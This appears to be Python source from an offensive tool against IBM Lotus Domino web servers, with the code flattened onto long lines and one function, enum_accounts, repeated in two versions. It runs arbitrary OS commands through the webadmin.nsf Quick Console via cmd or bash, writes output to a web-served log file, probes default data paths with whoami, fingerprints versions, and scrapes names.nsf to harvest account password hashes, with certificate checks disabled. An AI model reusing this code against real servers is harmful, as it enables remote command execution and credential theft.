def quick_console(self, command, operator, target, os, path, username, password, session): if session is None: session = requests.Session() session.auth = (username, password) if os == 'windows': raw_command = "load cmd /c {0} {1}\"{2}\domino\html\download\\filesets\log.txt\"".format(command, operator, path) else: raw_command = "load /bin/bash -c \"{0} {1}{2}/domino/html/download/filesets/log.txt\"".format(command, operator, path) # Quick Console commands must be less than 255 characters if len(raw_command) > 255: utility.print_warn('Issued command is too long') else: quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(target, raw_command) response_url = "{0}/download/filesets/log.txt".format(target) # Send commands and handle cleanup send_command = session.get(quick_console_url, headers=utility.get_headers(), verify=False) if send_command.status_code == 200: get_response = session.get(response_url, headers=utility.get_headers(), verify=False) if get_response.status_code == 200 and '>' in operator: print(get_response.text) elif get_response.status_code == 200 and '>' not in operator: utility.print_warn('Unable to delete outfile') elif get_response.status_code == 404 and '>' not in operator: utility.print_good('Outfile sucessfully deleted') else: utility.print_warn('Outfile not found') do_exit else: utility.print_warn('Quick Console is unavaliable') do_exit
def enum_accounts(target, username, password, auth): accounts = [] account_urls = [] names_url = "{0}/names.nsf".format(target) for page in range(1, 100000, 1000): pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format(target, page) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) else: access = None if access or auth == 'open': if auth == 'basic': request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False) elif auth == 'form': request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False) else: request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False) soup = BeautifulSoup(request.text, 'lxml') empty_page = soup.findAll('h2') if empty_page: break else: links = [a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]')] for link in links: account_regex = re.compile('/([a-f0-9]{32}/[a-f0-9]{32})', re.I) if account_regex.search(link) and account_regex.search(link).group(1) not in accounts: accounts.append(account_regex.search(link).group(1)) else: pass else: utility.print_warn("Unable to access {0}, bad username or password!".format(names_url)) break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: if len(accounts) == 1: plural = '' else: plural = 's' utility.print_good("Found {0} account{1}".format(len(accounts), plural)) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format(target, unid)) async_requests(account_urls, username, password) else: utility.print_warn('No hashes found!')
def test_command(target, os, path, username, password, session): if session is None: session = requests.Session() session.auth = (username, password) whoami, local_path, hostname = None, None, None # Windows default Domino data paths if os == 'windows': paths = [ 'C:\Program Files\IBM\Domino\data', # 9.0.1 Windows x64 'C:\Program Files\IBM\Lotus\Domino\data', # 8.5.3 Windows x64 'C:\Program Files (x86)\IBM\Domino\data', # 9.0.1 Windows x86 'C:\Program Files (x86)\IBM\Lotus\Domino\data', # 8.5.3 Windows x86 'C:\Lotus\Domino\data' # Unknown ] # Linux default Domino data path else: paths = ['/local/notesdata'] # 9.0.1 Ubuntu x32 if path and path.replace('\\\\', '\\') not in paths: paths.insert(0, path.replace('\\\\', '\\')) for local_path in paths: try: if os == 'windows': raw_command = "load cmd /c whoami > \"{0}\domino\html\download\\filesets\log.txt\"".format(local_path) else: raw_command = "load /bin/bash -c \"echo $USER:$HOSTNAME > {0}/domino/html/download/filesets/log.txt\"".format(local_path) quick_console_url = "{0}/webadmin.nsf/agReadConsoleData$UserL2?OpenAgent&Mode=QuickConsole&Command={1}&1446773019134".format(target, raw_command) response_url = "{0}/download/filesets/log.txt".format(target) # Do things... send_command = session.get(quick_console_url, headers=utility.get_headers(), verify=False) if send_command.status_code == 200: get_response = session.get(response_url, headers=utility.get_headers(), verify=False) if get_response.status_code == 200: if os == 'windows': user_regex = re.compile('.+\\\\(.+)') else: user_regex = re.compile('([a-z0-9-_].+):(.+)', re.I) hostname = user_regex.search(get_response.text).group(2) if user_regex.search(get_response.text).group(1): whoami = user_regex.search(get_response.text).group(1) utility.print_good("Running as {0}".format(whoami)) break except Exception as error: continue return whoami, local_path, hostname
def check_access(target, username, password, auth): webadmin_url = "{0}/webadmin.nsf".format(target) try: # Check access if auth == 'basic': access = utility.basic_auth(webadmin_url, username, password) session = None elif auth == 'form': access, session = utility.form_auth(webadmin_url, username, password) else: session = None # Get local file path path_url = "{0}/webadmin.nsf/fmpgHomepage?ReadForm".format(target) if access or auth == 'open': if auth == 'basic': check_path = requests.get(path_url, headers=utility.get_headers(), auth=(username, password), verify=False) elif auth == 'form': check_path = session.get(path_url, headers=utility.get_headers(), verify=False) else: check_path = requests.get(path_url, headers=utility.get_headers(), verify=False) path_regex = re.compile("DataDirectory\s*=\s*'(.+)';", re.I) if path_regex.search(check_path.text): local_path = path_regex.search(check_path.text).group(1) else: local_path = None utility.print_warn('Could not identify Domino file path') # Get operating system if 'UNIX' in check_path.text: os = 'linux' elif 'Windows' in check_path.text: os = 'windows' else: os = 'windows' utility.print_warn('Could not identify Domino operating system') # Test writing to local file system whoami, path, hostname = test_command(target, os, local_path, username, password, session) if whoami and path: Interactive(target, os, path, username, password, whoami, hostname, session).cmdloop() else: utility.print_warn('Unable to access webadmin.nsf') else: utility.print_warn("Unable to access {0}, might not be an admin".format(webadmin_url)) except Exception as error: utility.print_error("Error: {0}".format(error))
def fingerprint(target, username, password, auth): domino_version = None version_files = ['download/filesets/l_LOTUS_SCRIPT.inf', 'download/filesets/n_LOTUS_SCRIPT.inf', 'download/filesets/l_SEARCH.inf', 'download/filesets/n_SEARCH.inf', 'api', 'homepage.nsf', 'help/readme.nsf' ] for version_file in version_files: try: version_url = "{0}/{1}".format(target, version_file) request = requests.get(version_url, headers=utility.get_headers(), timeout=5, allow_redirects=False, verify=False) if request.status_code == 200: version_regex = re.compile('(version=|version\":\"|domino administrator |domino |release )([0-9.]{1,7})(\s|\")', re.I) if version_regex.search(request.text): domino_version = version_regex.search(request.text).group(2) break except Exception as error: utility.print_error("Error: {0}".format(error)) continue if domino_version: utility.print_good("Domino version: {0}".format(domino_version)) else: utility.print_warn('Unable to fingerprint Domino version!') check_portals(target, username, password, auth)
def async_requests(accounts, username, password): requests = Requests(concurrent=40) requests.session.headers = utility.get_headers() requests.session.auth = (username, password) requests.session.verify = False try: for account_url in requests.swarm(accounts, maintainOrder=False): if account_url.status_code == 200: get_domino_hash(account_url) except KeyboardInterrupt: requests.stop(killExecuting=True)
def enum_accounts(target, username, password, auth): accounts = [] account_urls = [] names_url = "{0}/names.nsf".format(target) for page in range(1, 100000, 1000): pages = "{0}/names.nsf/74eeb4310586c7d885256a7d00693f10?ReadForm&Start={1}&Count=1000".format( target, page) try: if auth == 'basic': access = utility.basic_auth(names_url, username, password) elif auth == 'form': access, session = utility.form_auth(names_url, username, password) else: access = None if access or auth == 'open': if auth == 'basic': request = requests.get(pages, headers=utility.get_headers(), auth=(username, password), timeout=60, verify=False) elif auth == 'form': request = session.get(pages, headers=utility.get_headers(), timeout=60, verify=False) else: request = requests.get(pages, headers=utility.get_headers(), timeout=60, verify=False) soup = BeautifulSoup(request.text, 'lxml') # Break if page not found if 'No documents found' in soup.findAll('h2'): break else: links = [ a.attrs.get('href') for a in soup.select('a[href^=/names.nsf/]') ] for link in links: account_regex = re.compile( '/([a-f0-9]{32}/[a-f0-9]{32})', re.I) if account_regex.search(link) and account_regex.search( link).group(1) not in accounts: accounts.append( account_regex.search(link).group(1)) else: pass else: utility.print_warn( "Unable to access {0}, bad username or password".format( names_url)) break except Exception as error: utility.print_error("Error: {0}".format(error)) break if len(accounts) > 0: if len(accounts) == 1: plural = '' else: plural = 's' utility.print_good("Found {0} account{1}".format( len(accounts), plural)) for unid in accounts: account_urls.append("{0}/names.nsf/{1}?OpenDocument".format( target, unid)) async_requests(account_urls, username, password) else: utility.print_warn('No hashes found')